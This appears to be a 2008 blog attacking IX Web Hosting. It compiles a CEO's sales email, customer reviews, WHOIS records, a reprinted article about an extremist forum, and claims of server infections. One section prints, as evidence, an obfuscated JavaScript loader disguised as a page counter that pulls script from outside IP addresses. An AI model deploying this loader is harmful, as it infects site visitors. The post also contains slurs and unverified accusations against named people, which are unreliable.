Since then my former partner has implemented new service policies which have negatively affected the performance of the company. At the present time, the financial situation of Feature Price and its parent company Hosting-Network, Inc. is highly critical.

If you would like to read more about Feature Price, please access this website:

ht*p://w*w.ixwebhosting.com/fp/fpinformation/

 

This email serves two purposes:

 

First and foremost you are now informed about the critical situation of your (former) hosting company and you can take corrective actions when your Feature Price will expire (without notice), so that your livelihood or at least your website will not be affected.

The second purpose of this email is to inform you of a new hosting company that I have launched:
IX Web Hosting at h*tp://w*w.ixwebhosting.com/fp/

As a special offer to Feature Price customers, IX Web Hosting is offering the SAME hosting plans that you were subscribed with at Feature Price and will provide compensation of 3 months of free hosting for your hosting term, but with more features, higher configurability and better billing terms (you can pay quarterly, semi-annual, or for discounts: annual or for 2-years).

We will CREDIT any account you open with IX Web Hosting with THREE (3) additional months of free web hosting service as a special gesture towards (former) Feature Price customers. Example: You sign-up for a “FP Mini Plan” or for a “FP Premium Plan” with IX Web Hosting. Once you have signed up, you can request a credit to be applied to your account. Within 48 hours, we will credit the value of the three free months against your balance with IX Web Hosting. Please note: This special offer is only available if you have or had an account with Feature Price. You must be a customer of IX Web Hosting to be eligible for this free service. You can receive one such credit for each account you have or had with Feature Price.
Once you have chosen one of our plans and signed up, you can request the credit to your account here:

ht*p://w*w.ixwebhosting.com/fp/fpcredit/

Click below to learn more about our plans:

ht*p://w*w.ixwebhosting.com/fp/vhost/

If you decide to host with IX Web Hosting or any other hosting company for that matter it is absolutely your choice. It is your choice as well to stay with Feature Price in case you are satisfied with the service you currently receive.
In either case, please take my email seriously you will do yourself a favor.

If you are interested in subscribing to a Feature Price Transfer Plan (FP Mini Plan, FP Budget Plan, FP Premium Plan, FP Platinum Plan) from IX Web Hosting and have the remainder of your hosting term credited to your account balance, then please go here:

h*tp://ww*.ixwebhosting.com/fp/fpplans/

If you have questions or need further information, you can contact us via the following methods:

Submit your question via our online form:

ht*p://w*w.ixwebhosting.com/fp/contactus/

Alternatively, you can also seek assistance in our 24 / 7 Live Chat:

h**p://w*w.ixwebhosting.com/fp/livechat/
The team at IX Web Hosting has created a guide on how you can change your hosting provider to any other hosting company (and what you can do in case Feature Price is holding your domain registration hostage). To retrieve this guide, please submit a request at our contact us form on our website and we will email the guide to you within 24 hours of you submitting your request.
I hope that you will be able to move on with your online venture despite the experience you have had with Feature Price and I wish you all the success you can have for yourself and for your websites future.
Thank you for reading this notice.

Yours sincerely,

——————————————————————–

Fathi Said, CEO

w*w.ixwebhosting.com

Ecommerce Corporation

——————————————————————–

Interesting isn’t it,  someone can rip off 60,000  paying customers, and within weeks start a new but exactly the same scheme

Now take a look at some customer reviews from back then… They look exactly like IX web reviews today.

http://www.webhostingreviews.com/feature.shtml

IX Web Hosting TWO FACED

Today I recieved a new wave of unhappy IX Web Hosting Customers, sending me details on how the pathetic support treats them… I can tell within hours of IX Web Hosting being yet again injected, just by the the ammount of search queries I am tracking.
3 days ago I tracked 78  ” ixwebhosting hacked” ( or similer ) this morning it peaked over 820, and sure enough  ns5.ixwebhosting.com and ns6.ixwebhosting.com was injected.  These are the ones I am certain about, because I (we) have sites on those, but probably it was more than just ns5 & 6.

Customers are still being blamed by IX web hosting.  One person was even told to shut up, pack up or find a competent  web master to host his / her site properly..   I had to laugh, not because it was funny, but it was just unbelievable.. these pathetic, thick  bunch of IX retards, that don’t know how to restart a pc, let alone run a buisness, tells a paying customer  to shut up, pack up or find a competent  web master to host his / her site properly…

So, it’s all about the person who hosts / looks after / runs your web site… ???

Let me tell you about an issue I had with one of IX’s Managers… LAUREN 
3 days before talking to Lauren I had already spoken to DREW, KENNY and JAMES, all three of these managers explained the situation to me in plain english, I even have it in writing from Kenny, that they had an issue with certain ( or a certain) outdated Php modules, that was allowing the injected script to infect whole servers, and they were working on a solution.. When I mentioned that customers were still being blamed for this problem they told me that it was a communication glitch, and ALL the Support, both USA and Eastern Block would be briefed about the situation.

So, 3 days later, I phone and ask for a manager, because I had info about the server being injected for the 3 time in 4 weeks. Immediately she turned hostile, and started blaming me for having a 777 permission, when I explained that, not only did I have no 777 permissions, I had NO folders, No scripts, just 5 web sites that were 100% html.. she still continued to blame me, untill I told her that I had spoken to the other managers, and that I was told that it was a php module on their server.. Then , and only then did she lose her attitude..

So these support baffoons and managers are still blaming customers, for not knowing how to secure a website, so maybe we should follow their example….

Let’s take a look a 2 web sites… and who do these web sites belong to?… You got it!…  LAUREN  IX Web Host Manager .  And YES, they are both injected, and have been now for over 2 weeks

( for those who are lucky enough not to have a site hosted at IX, and don’t know where to look, click on the link, view the source code, and at the footer you will see the injected script ) 

 http://atlastmylove.com 

 http://runholy.com

But  Manager and Webmaster LAUREN’s sites are injected!!..  Does this  mean the Managers are REALLY as thick and retard as they sound??… I guess so..  maybe jewelry is her forte

Ooohh, she also has another website, but that is hosted elsewhere, NOT IX, and that site is CLEAN

IX Web Hosting Injected TODAY

Dec. 19. 2008

I can confirm that IX web hosting’s server running database “mysql27.ixwebhosting.com” the site injected were on “ns5.ixwebhosting.com” , “ns6.ixwebhosting.com” has yet again been injected, this within a week after IX web hosting sent an email where it stated that all their servers were clean .. and I quote from the email sent by Fatima Said, CCO IX Web Hosting

“”  We have dedicated our systems administration team to finding a solution to this and are happy to say that as one of the first hosting companies we have successfully cleaned all instances of this virus from our servers more than a week ago, and are continually scanning them to ensure your site does not become re-infected. “”

This just goes to show that IX web hosting has not got a clue where to start looking and what to clean.

 

The injected code appears on every file:

<script language=javascript><!– Yahoo! Counter starts
if(typeof(yahoo_counter)!=typeof(1))eval(unescape(‘%2F@/%3C~%64%69&v%20`s!t~%79l#e=%64%69%73p%6C%61~y~%3A%6Eo%6E%65%3E!\nd%6F$%63%75%6D%65%6E#%74%2E!w`r$%69$%74%65%28%22%3C%2F%74!%65~%78t%61!%72@%65&a&%3E@%22|)~%3B|v`a%72%20#%69,%5F`,a%3D![“!7$%38&%2E110~.1%37@%35`.!%321$%22%2C%22!%319~5~.24%2E|%37$%36#%2E%32%35%31%22%5D`%3B~_=~1!%3Bi|f(|do!c%75%6D%65nt@%2E~c#%6F%6F&%6B%69~%65%2E%6D&a~tc%68!(&%2F%5C#bh&%67&%66t@=1%2F)%3D$%3D$%6E|%75l&%6C`%29f#o%72(%69|=%30&%3B|i~%3C@%32!%3B%69+~%2B~%29d|ocu%6Dent%2E&%77~%72%69%74%65(“~%3C`s`c`r%69&p%74`%3E%69f|%28%5F@%29do%63%75m$%65`%6E%74`%2E%77~rit$%65|%28%5C|”#%3C#s&c&r@ip%74$%20%69@%64%3D!_~”+i+`%22_%20|%73%72%63!%3D%2F/#%22|+a#%5Bi|%5D%2B#%22/~%63!p%2F?`”%2B!n`%61#v&%69ga%74%6F!%72%2Ea%70%70`%4E%61%6De`%2Ec!%68$%61%72`A|t&(@0`%29#%2B%22#%3E%3C%5C%5C@/`%73%63@%72&i|p`t@%3E%5C|”~)`%3C#%5C&/!s~c$%72~%69$%70&t!%3E”)#;#\n%2F&%2F$%3C#%2F&d%69%76!%3E’).replace(/@|\!|#|\&|`|~|\||\$/g,””));var yahoo_counter=1;
<!– counter end –></script>

IX Web Hosting Deceiving Liars !!

Here is just one example (more to follow) how IX Web Hosting cheats, lies and deceives customers.

If you follow this link :  http://www-thehostingchart.com/   No suprise IX  Web Hosting is listed as THE BEST, and damn, after reading the review I was almost tempted to purchase another account…

By now we all know that IX Web Hosting is without doubt the worst and most incompetant web host out there.
So which twat would vote them the BEST??…  The answer  to that is … THEMSELVES!!

Now follow this link http://www.betterwhois.com/bwhois.cgi?domain=thehostingchart.com&x=75&y=14 

and 3 guesses who owns thehostingchart.CON   ??

Domain name: THEHOSTINGCHART.COM

 Administrative Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836
Technical Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836

 Registration Service Provider:
    Ecommerce, Inc., info@ecommerce.com
    1-800-861-9394
    http://www.ecommerce.com

And we all know that this knobber Samir Said is the CFO of Ecommerce Corporation. the parent company of IX WEB HOSTING.

OOOHHH, and three guesses who owns the # 2 spot “Host Excellence” as BEST Web Host at thehostingchart.CON   ??…  Yep you got it, Samir Said

This is the kind of DIRTY methods IX WEB HOSTING uses to lure customers

Fathi Said, IX Web Hosting and Terrorism

Islamist Site Containing Threats Against World Leaders Re-Activated

Jeremy Reynalds, Ph.D.

A statement distributed by the Global Islamic Media Front and located on an radical Islamic American hosted Internet site, contains a death threat against a number of world leaders. The site was initially suspended and since reactivated. The forum on the reactivated site is now locked, so it is impossible to tell whether the death threat is still housed on the site, but there is no reason to suppose otherwise. Ironically, the data center housing the Al Firdaws site is located 17 miles from Fort Campell, KY, home of the 101st Airborne (Air Assault) Division (www.campbell.army.mil/newinternet/main.asp).

The statement (at http://www.alfirdaws.org/forums/showthread.php?s=&t=9116) threatened (s), according to the Society for Internet Research (www.internet-haganah.us/harchives/005294.html), Italian Prime Minister Silvio Berlusconi, Australian Prime Minister John Howard, Japanese Prime Minister Junichiro Koizumi, British Prime Minister Tony Blair and U.S. President George W. Bush.

Contacted by e-mail, the Internet Haganah’s Aaron Weisburd said the posting promised kidnaping to be followed by decapitation. Weisburd said according to the statement the plan is in place, including the proposed location for Berlusconi’s slaughter.

The Global Islamic Media Front (GIMF) is known as the voice of al Qaeda on the Internet.

ISP APOLOGIZES FOR TAKING AL QAIDA LINKED SITE DOWN

Last Sat. I called the Internet Service Provider (ISP) and alerted an employee to the Al Firdaws site content. He thanked me and said a company official would investigate. Within a couple of hours, the site was off line.

However, a couple of days later the Al Firdaws site was reactivated. Clearly identifying myself as an investigative writer, I called IX Webhosting (also apparently doing business as Hosting-network Gmbh and http://www.ecommerce.com) on Tuesday, to see if the company had reactivated the site or if its operators had switched to another service provider.

An employee who answered the telephone said that her company was indeed hosting the site. Then apparently thinking I was the Al Firdaws site owner, she launched into a profuse apology for the site being taken down, as there had not been, she said, any violation of the company’s terms of service.

I then reiterated to this individual that I was an investigative writer, not the Al Firdaws site owner, and that the site contained a significant threat against world leaders. Asked who made the decision to reactivate the site, the IX employee said it was a member of the company’s management. I asked to speak to a manager. The individual took my telephone number and name, and said I would get a call back.

Informed that I would be reporting the situation to the FBI, the IX employee said that the FBI could communicate with the company by the U.S. Postal Service if they wanted the site taken down.

I also told the IX employee that I would make public my conversation with her. Hearing this, she said I could not do that as to do so would be violating her constitutional rights.

It is clear that the content of the Al Firdaws forum violated (s) IX’s terms of service (www.ixwebhosting.com/index.php/home.dspPage/page/info.dspTOS). A portion of the company’s terms of service reads, “If inappropriate activity is detected, all accounts of the subscriber in question will be deactivated until our investigation is complete. Prior notification to the subscriber is not assured. In extreme cases, law enforcement will be contacted regarding the activity.”

AN AUSTRIAN CONNECTION

IX Webhosting, Hosting-network Gmbh and http://www.ecommerce.com all list their location as being at 247 Mitch Lane in Hopkinsville, KY. A Fathi Said, apparently based in Austria, is listed as being an administrator for Hosting-network Gmbh and http://www.ecommerce.com.

While I did not attempt to contact Said, here is a portion of a discussion (www.hostingdiscussion.com/news-and-pr/768-featureprice-com-closing.html) about some of Said’s reported business activities.

“Ecommerce.com is under control by Fathi Said (stolen), SiteandSites and a host of other domain names are owned exclusively by Fathi Said. Stay away from any site or business that has Austrian Ownership or Fathi Said or any other affiliation with Fathi Said. The problem with this is that Fathi will set up anywhere at anytime; you may or may not know who is actually behind that company. Fathi will use other names, and etc to fool you, be warned and be careful. Fathi while in office ran several businesses ‘on the side,’ and sold services that looked like the respective names but were indeed Feature Price (FP) services, no one at FP approved this but Fathi. Fathi also registered Dotregister domains for the clients and did not title them in the right names or addresses, but with 100% owned by featureprice client, these domains were held hostage, with numerous other domains like Featureprice.com unless the officers of FP were to give him over a half million dollars, the officers called the FBI for Extortion.”

More information about Feature Price is available at http://www.thewhir.com/marketwatch/fea050903.cfm and http://news.netcraft.com/archives/2003/07/07/where_did_the_featureprice_customers_go.html

THE DEATH THREAT AND RAKAN BEN WILLYAMZ

According to the Society for Internet Research (SOFIR) the statement was published on the al-Firdaws forum by “ialam al-islami,” who has in the past been a prolific contributor to GIMF forums and sites.

The ominous statement is attributed to “Rakan ben Willyamz,” an apparently collective name for native European converts to Islam roaming the continent, preparing to strike.

While there have been questions about the credibility of the statement, including the poor quality of the Arabic, as opposed to the first statement from the imaginary Rakan ben Willyamz (www.sofir.org/sarchives/005248.php), SOFIR said the threat shouldn’t be dismissed.

“Arguments in support of the statement (if not the threat) being credible, include the fact that it was distributed by the Global Islamic Media Front. That this ‘Rakan’ is a different and less-literate individual doesn’t necessarily make the statement non-credible. Since when are terrorists great examples of human intelligence? Certainly there is no disputing that the countries in question are all in al-Qaida’s sights … Increasingly the global jihad is waged by ignorant thugs, and their statements are likely to reflect that.”

The ben Willyamz name came to light earlier this year. The Asharq Al-Awsat newspaper (AAWSAT) reported (http://aawsat.com/english/news.asp?section=1&id=2577) in Aug. that ben Willyamz (or bin Williams), was being touted as someone who would “wreck havoc worldwide.”

Al Qaeda’s strategy “will depend on surprise such as when near simultaneous attacks were carried out in Morocco and Turkey. Al Qaeda’s aim was to target the border between Europe and the Muslim world, east and west, so let this serve as a lesson to the entire west; we have arrived at your borders and no one will be able to stop us,” AAWSAT reported that GIMF said on the Internet.

AAWSAT also reported that the British tabloid the Sun indicated al Qaeda was recruiting English men, and referred to six English-language web sites affiliated with al Qaeda that had published material encouraging Europeans to sign up for military training.

Earlier this year, AAWSAT reported al Qaeda warned on the al Firdaws forum, “Do not rejoice, Blair, as you will not be able to follow or halt the movements or stop al Qaeda’s new soldiers Rakan bin Williams … Al Qaeda’s new soldiers were born in Europe of European and Christian parents. They studied in your schools. They prayed in your churches, and attended Sunday mass. They drank alcohol, ate pork and oppressed Muslims, but al Qaeda has embraced them, so they have converted to Islam in secret and absorbed the philosophy of al Qaeda and swore to take up arms after their brothers. They are currently roaming the streets of Europe and the United States, planning and observing in preparation for upcoming attacks.”

The Al Firdaws site is registered to Marwan Alansary of the Al Firdaws Company in Amman, Jordan.

The original article can be seen here

IX Web Hosting Reviews September 2008

bigboytoyauction.com, 20th 2008f September, 2008

Yes still with IX right now all of the mysql servers are down. And if they didn’t do back ups I am kind of screwed as my last back up is on a crashed HD, i can pull it but its a pain. Here is a transcript of the chat Kirill Skripka: Hello, my name is Kirill. How can I help you today? you: all of my sites are down again, http://www.ckonline.net , http://www.bigboytoyauction.com , and all of the others too. Kirill Skripka: hold on please, I’ll check Kirill Skripka: our Mysql server is down. Our administrators are fixing it now Kirill Skripka: it will be available again as fast as possible Kirill Skripka: we are sorry you: I dont want to be a pain but stuff like this is happening more often now you: any particular reason why you: Just saying that down time has increased since the move, never had an issue with down time until lately. I hope that the issues are resolved. you: obviously not going to get a response you: have a good day I will be calling IX on monday

Jason, 19th 2008f September, 2008

IXWebHosting were always cheap by shady, but recently their customer service has taken a terrible turn for the worse. They popped me with several TOS violations. The first was for using 30 GB of storage of their “unlimited” storage. They COMPLETELY LIE about their storage promise. The other was a supposed Spam complaint that one of their managers agreed was not a valid complaint, but they are still charging me with a SECOND TOS violation. They told me if I get a THIRD TOS violation they will terminate my account without notice, meaning I will loose all my email, etc. Talking to their support people is like talking to high school PE teachers from Siberia. It’s just completely pointless. AVOID IXWEBHOSTING at all costs!!! They have served their purpose, which is to drive the cost of hosting down, so now go with one of the better competitors. These guys are the worst! I moved to HostMonster who verified, in understandable, clear English, that I can use all 1.5 TB of their promised storage (I won’t use nearly that much, but it’s good to know).

Sam, 06th 2008f September, 2008

This hosting Company is very slow, so many problems stay away

elawcase@gmail.com, 03rd 2008f September, 2008

I am not sure why this website places Ixwebhosting rating so high when just about NO ONE is happy with them including myself. I have sent a few logs you can read below. These are real examples. Also their server is down quite often so anyone who can recommend a better hosting company that offers hosting unlimited domain names, pls let me know at elawcase@gmail.com

elawcase@gmail.com, 03rd 2008f September, 2008

Zeyad Abed: Sorry but from my side it’s ok you: well, i’ll keep monitoring it.. but thank you for your help you: if possible, if you can try to ask your tech people to monitor it… you: just a moment ago, the site didn’t come up Zeyad Abed: You are welocme Zeyad Abed: Is there anything else I can assist you with? you: that’s all, pls just ask the tech people to check the server.. it slowing down again you: oh it’s okay now you: it’s kind of unstable recently Zeyad Abed: Sorry it’s from your connection you: not my connection, third party monitors you: i always check third party connections/monitors to make sure it is not my connection you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue you: the server now is slowing Zeyad Abed: Sorry it’s ok you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that Zeyad Abed: Sorry im a technincal you: what do you mean? Zeyad Abed: I mean it’s ok from our side

elawcase@gmail.com, 03rd 2008f September, 2008

you: the server now is slowing Zeyad Abed: Sorry it’s ok you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that Zeyad Abed: Sorry im a technincal you: what do you mean? Zeyad Abed: I mean it’s ok from our side

elawcase, 03rd 2008f September, 2008

Here is an example of the conversation I had with ixwebshosting when the server was really slow and stalling: you: i need to check to make sure that the server is performing okay Zeyad Abed: Hold on please let me check it you: thanks Zeyad Abed: You are welcome you: just let me know here.. waiting.. Zeyad Abed: Ok you: get the logs yet? you: or you can also check alertra.com from your end… Zeyad Abed: Just am inute please you: ok Zeyad Abed: alertra.com. 124 IN A 205.162.234.98 Zeyad Abed: ;; Query time: 0 msec Zeyad Abed: flowers.com.hk. 85513 IN A 98.130.191.57 Zeyad Abed: ;; Query time: 0 msec you: the time varies i’m checking now again you: it’s not 0 msec Zeyad Abed: Sorry but from my side it’s ok you: well, i’ll keep monitoring it.. but thank you for your help you: if possible, if you can try to ask your tech people to monitor it… you: just a moment ago, the site didn’t come up Zeyad Abed: You are welocme Zeyad Abed: Is there anything else I can assist you with? you: that’s all, pls just ask the tech people to check the server.. it slowing down again you: oh it’s okay now you: it’s kind of unstable recently Zeyad Abed: Sorry it’s from your connection you: not my connection, third party monitors you: i always check third party connections/monitors to make sure it is not my connection you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue you: the server now is slowing Zeyad Abed: Sorry it’s ok

IX Web Hosting’s Promise to you.

Remeber this? In big letters on their Home Page, “Our Promise to you”  well, the ship started sinking in April, and the rats started fleeing, and  “Their Promise to us” disappeared like a fart in the wind.. Or so they had hoped.

Let me take you back in time, to refresh your memory, read and have a laugh at the promises that were made, hey, even sit back and listen  to the CEO Fathi Said tell us how important we are.. as he well puts it, “Without you, IX  web hosting would not exist”  Ooohhh and while you are enjoying the blast to the past, why not send him a personal message..

ENJOY : http://web.archive.org/web/20080101195251/www.ixwebhosting.com/index.php/v2/pages.ourPromiseToYou 

Dear Friend,It’s my personal wish to address you with this letter. It is very important for me to get in touch with my customers, for a simple reason:

Without you, we would not be in business.

IX Web Hosting Reviews August 2008

 

Jebac, 30th 2008f August, 2008

CRAP, CRAP, CRAP. Avoid them at ALL cost. I was stupid not to google for review before signing up.

Jim, 30th 2008f August, 2008

Good service until a few weeks ago and since then it can’t get much worse. Two of my domains (I have 5) have been moved and the others will soon follow.

Jeff, 18th 2008f August, 2008

I had been a customer of IX Web Hosting for over 4 years. I have watched their service and support deteriorate significantly especially the past year. My web sites were routinely down and IX Web Hosting missed their guaranteed up-time metrics nearly every month. When I complained they would credit my account for an additional month. Finally after my sites were down for 10 consecutive days I decided a change was in order. I moved my sites and canceled my IX Web Hosting account. Rather than getting the money back I was told I would get a fraction of the refund I was owed. The customer service and billing department argued that the credits I received for them missing their stated guarantee were basically worthless from a monetary standpoint and that they continued to incur charges. Not only did I have to endure countless outages and deal with incompetent technical support leading to additional downtime and outages but I would pay for this “privilege” receiving a minimum refund. I’ve opened a complaint with the Better Business Bureau about their business tactics and I recommend to everyone to say as far away from IX Web Hosting as possible. If you already have an account there I suggest getting out while you can before you find your sites and your money drained.

Useless Uptime, 08th 2008f August, 2008

I do not recommend them at all. STAY AWAY. Their servers are continually down, and suppport is non existant, if you try to resolve things with them

no need for detail, 03rd 2008f August, 2008

You’ve said it all. Thank God my account is up for renewal in 30 days. I am looking elsewhere. CC2k will post its new home when we find one and are sure it will not bring heartache to others. Bye Bye IX, you had you chances, way too many of them.

chris, 02nd 2008f August, 2008

Yes, it was working for about 10 minutes, i was able to get an order … then it’s down again. The guy who tripped over the cord maybe also spilled coffee over the electrical outlet. God!

bigboytoyauction.com, 02nd 2008f August, 2008

DANG IT !!!! It was working and i start uploading and BAM!! MFR its down again

Chris, 02nd 2008f August, 2008

Haha.. funny. I actually tried to click on Ixwebhosting.com google ads and the site doesn’t load. This is how our customers are feeling when they click on our ads. This also isn’t good for internet rankings I suppose. My server is down at the moment and i’m just sitting here twittling my thumbs.

kenny, 02nd 2008f August, 2008

Actually I couldnt get on their website but you can call them at 1800 385 0450 or 1 614 534 1961. I dont understand how their who network of servers are down at the same time. Did someone trip over the power cord? Well, i have to say at least they answered my call. This is the 6th time the server was down in the past week. I have three website monitors running at the same time which alert me each time the server is down. This doesn’t include server stalling problems. Im starting to regret I am hosting with ixwebhosting. If this continues I will for certain move to another company.

kenny, 02nd 2008f August, 2008

Yes, the server is down. I contacted Ixwebhosting just now and they said it will be fixed in 30 minutes. I also used alertra to check ixwebhosting website and they are down as well. Just keep clicking on their google ads so they know how it feels when our websites are down and people click on ours. Here is the logs for Ixwebhosting.com website itself. Timestamp Location Result Size Time 2008-08-02 01:49:41 EDT Shanghai CHN OK 20.3 16.95 2008-08-02 01:49:41 EDT Chicago USA OK 20.3 17.05 2008-08-02 01:49:41 EDT Hong Kong CHN OK 20.3 16.05 2008-08-02 01:49:41 EDT Oklahoma City USA OK 20.3 14.14 2008-08-02 01:49:41 EDT Orlando USA OK 20.3 13.99 2008-08-02 01:49:41 EDT London GBR OK 20.3 10.63 2008-08-02 01:49:41 EDT Las Vegas USA OK 20.3 9.98 2008-08-02 01:49:41 EDT Sydney AUS OK 20.3 4.84 2008-08-02 01:49:09 EDT Atlanta USA Error N/A 30.58

bigboytoyaction.com, 02nd 2008f August, 2008

Dont get me wrong, I have used them for quite a while and never had an issue but all of a sudden its not working. I think its back up now guys try it. This means it was only down for about 5 minutes.

bigboytoyauction.com, 02nd 2008f August, 2008

My server is down to this isnt normal I was in the middle of uploading something.

Kenny, 02nd 2008f August, 2008

The problem I found is that when the server is down with Ixwebhosting they will deny it is down. Even with proof logs of 3rd party monitoring companies such as alertra and internetseers. My server is down right now as well. I need help but cannot find anyone at ixwebhosting.

Chris, 02nd 2008f August, 2008

hello, yes, my server is down with ixwebhosting too. I dont think they know how to run a company. Something is wrong. The server is down more than once a week! I also need suggestions on better servers. This isn’t cutting it.

Jack, 02nd 2008f August, 2008

Any good suggestions on servers. Ixwebhosting.com server is down at this moment and I cannot get to contact anyone at the company.

IX Web Hosting Reviews July 2008

 

Patrick, 28th 2008f July, 2008

ixwebhosting.com is basically bottom of the barrel hosting. I can’t imagine anything worse. Their server went down again Saturday and now my entire wiki website no longer works because of a corrupted database. Do not use this host because you WILL have problems. Lots of them.

Pascal, 28th 2008f July, 2008

I have to admit, IXwebhosting is not that good. My site has been down 4 times in the past year. sometimes it takes 12-24 hours to get things back up and running. The email servers have been slow lately. Right now, my FTP service does not work; I can’t login either. I’ve started looking for another host because reliability is my main concern.

Alex Ho, 28th 2008f July, 2008

Ok, GUYS, I’m so pissed with this ixwebhosting sh*t. 2 weeks ago their MySQL server was down and they didn’t save a back up for me even they could be able to back up some other databases which made me so pissed coz I have a forum of 12,000 members for 5 years. (Fortunately I got my own back up, but it’s 6 months old!) Yes, I called them, chatted live, emailed, ticketed, all sh*t, but all I got was “we are wrking on it”. Funny, huh? They have cheap plans, I agree, the reason I chose them cause they had cheap plans, and I tested their website speed with a tool, and their site speed was light speed. However, after using their hosting for 2 years, now their hosting service turned out too bad now. My sites have been on and off, regardless the daytime or nighttime. Just imagine you staying home on Saturday night and Sunday night coding your site instead of going out watch movies with your cute girlfriend, and suddenly the site&host&ftp… everything shut down at 1am when you are so stuck with the code, that’s b*** sh*t huh? GUYS, PLEASE THINK OVER BEFORE BUYING THIS HOSTING SERVICE: IXWEBHOSTING.COM <= Cheap doesn’t mean good! I’m on my way finding another hosting, hix Anyway, read over this comment box to see how BAD this hosting service is! I saw about 95% NEGATIVE FEEDBACK!

cashzzz@hotmail.com, 27th 2008f July, 2008

The server is down right now receiving the following error: HTTP/1.1 500 Server Error. The reply from the tech support said they cannot help and we need to send a ticket to the center. All sites are down. It’s time to move servers.

kads, 22nd 2008f July, 2008

i am moving webhost. my site is down at the moment, their support doesnt even speak english, my emails dont work. their site doesn’t work. + when my site does load, it loads at 2 miles per century. im moving to 5quidhost.co.uk which has awesome reviews.

cashzzz@hotmail.com, 20th 2008f July, 2008

I think we have to throw in the towel soon. We have given ixwebhosting a serious try and in the past 2 months, the web server has been down more than 8-10 times. The email server also had problems as well and does not send out emails. We have also contacted the tech support online, which is good they have this feature, but they never know how to fix the problem. They will ask you to send an email. But they wont fix it until hours up to 5 days. We are looking for better hosting and would like your suggestions. Ixwebhosting is not good enough at this point. Server has too many problems and downtime is serious.

elawcase@gmail.com, 20th 2008f July, 2008

Ixwebhosting.com server ns13, and ns14 is currently down. We have contacted ixwebhosting support and they do not how to fix the problem. The server has been down for 3 days intermittently. The server is down now.

Steve, 19th 2008f July, 2008

The uptime is brilliant. My site has only been down twice for about 5 minutes. But I do not recommend this host. The MySQL server I am on has a lot of problems. Some guy I know keylogged me and got into my forums and deleted everything. The backups I uploaded wouldn’t work, so I made a support ticket. It took them TWO WEEKS to reply. They said they had a backup from the day before it was hacked. I asked them to restore it. A week later they replied again and said they didn’t have the backup. So, I had to completely start my forum over again. Next month I will be moving host, and I asked them to email me a backup of my website. I have been waiting 3 days so far and still no reply from them. THE SUPPORT SUCKS. Do not host with these guys. It is a waste of money and a waste of time. Plus they have really bad servers.

abimbola, 15th 2008f July, 2008

In the name of almighty God, do not host with ixwebhosting!You will have the greatest regrets in your life. All the websites I have been developing for years disappeared and ixwebhosting said that was due to massive hard storage failure and that the data are irrecoverable.Please,Please,Please do not host with this company as it is not a company but a form of internet dupe!

good by_ix, 12th 2008f July, 2008

ix webhosting service # Stop service ticketing technical support. # Stop service database. # Problems are endless. # Company on the precipice, waiting to fall down. # I advise you: Make your files and transferred into the computer.

kads, 09th 2008f July, 2008

have opened a ticket for 2 days on ix, and it hasnt been responded to. live chat is also unhelpful. my emails are down and i can’t access them. this is the first problem i’ve had.

cashzzz, 03rd 2008f July, 2008

Okay, it has been now 4-5 days that the email server does not work with ixwebhosting. They keep saying please wait 24 hours and the issue will be resolved. But so far their email webserver is not working or sending emails out. I think I may need to throw in the towel soon. Ixwebhosting does not know how to run their web servers or maintain it. If they do not fix the email server 2 more days, I have to urgently move my server.. anyone with good suggestions of a company who is reliable, know how to maintain the server, doesn’t overload the servers, has multi domain hosting for ASP classic pages, and uses HSphere, please let me know. Thank you. cashzzz@hotmail.com

cashzzz, 02nd 2008f July, 2008

I’m quite frustrated because the email server at ixwebhosting is not working properly . Not sending out emails at all. This is the second day and the issue is not resolved yet. Really frustrating. If anyone has suggestions of other hosting that uses hsphere control panel and unlimited domain hosting, pls let me know. cashzzz@hotmail.com

Reviews of IX Web Hosting June 2008

ixhater, 26th 2008f June, 2008

Run for the hills if you are thinking of signing up with ix. The adage, “you get what you pay for” is most appropriate. Unlimited web space? HAH! Suspended my account after it hit 60 GB without any notice.

rh, 22nd 2008f June, 2008

And yes they suspended me once too, after I called tech support, they said I was violating the TOS. I was not as I was trying to get my WordPress installed. I called them and after I cussed them out on the phone, I had to get really mad until they fixed things. If you use IX you will be sorry. I hate to say that but, I dont want others to experience the grief I have. Yes they are cheap, but you get what you pay for and I would rather pay more and get something reliable and something I can count on. You simply cannot count for IX webhosting for hosting a simple wordpress site. Page cannot display happens all the time.

rh, 22nd 2008f June, 2008

I have had ixwebhosting since 9/2007, I do not recommend them at all. STAY AWAY. You will be sorry if you choose them because, half the time the pages on my simple WORDPRESS blogs do not display. The tech support chat is totally useless. I am in the process of changing hosting companies as I type this. The slow response has been a damage to my reputation. DO NOT USE them, they are total hype. I am glad I didnt rely on them more, I have several domains I am developing.

cariani, 20th 2008f June, 2008

DONT EVER HOST WITH THEM!!! This company is a fraudelent Company!I had “Unlimited Pro” account with them after 6 months (after the number of my visitors growed). THEY DID DIRECTLY AND WIHTOUT ANY WARNINGS SUPSPEND MY ACCOUNT!! If you have more than 50 vistiors a day, IXWEBHOSTING WILL SUSPEND YOU and the most bad thing is- in the beginning, you will read “ACCOUNT SUPSENDED” and they put their own material ADVERTISING WITH SEX-LINKS ON YOUR WEBSITE!!! DONT BELIVE WHAT THEY SAY!!! DONT BELIVE ON MONEY BACK GUARANTEE- YOU WILL NEVER SEE YOU MONEY AGAIN!! regards For more Information contct me at little_ding_at@yahoo.de dzemaili

George L., 14th 2008f June, 2008

Go to M6.net – the best and cheapest windows hosting in the world – I use it 8 month and very glad!!!

lee, 13th 2008f June, 2008

I get the following message each time I report the problem to their livechat:Sorry, unfortunately I can’t resolve this issue, please create a ticket to our administrators and they will help to solve your problem. You can create a ticket from your control panel -> 24\7 help desk – ticket center. And when I create a ticket, I would get a reply from them that should I get anymore error, please contact our live chat immediately. And when I contact the livechat, they would tell me the problem cannot be resolved by livechat, please create a ticket. Good grief! this fraudulent company should be investigated.

lee, 13th 2008f June, 2008

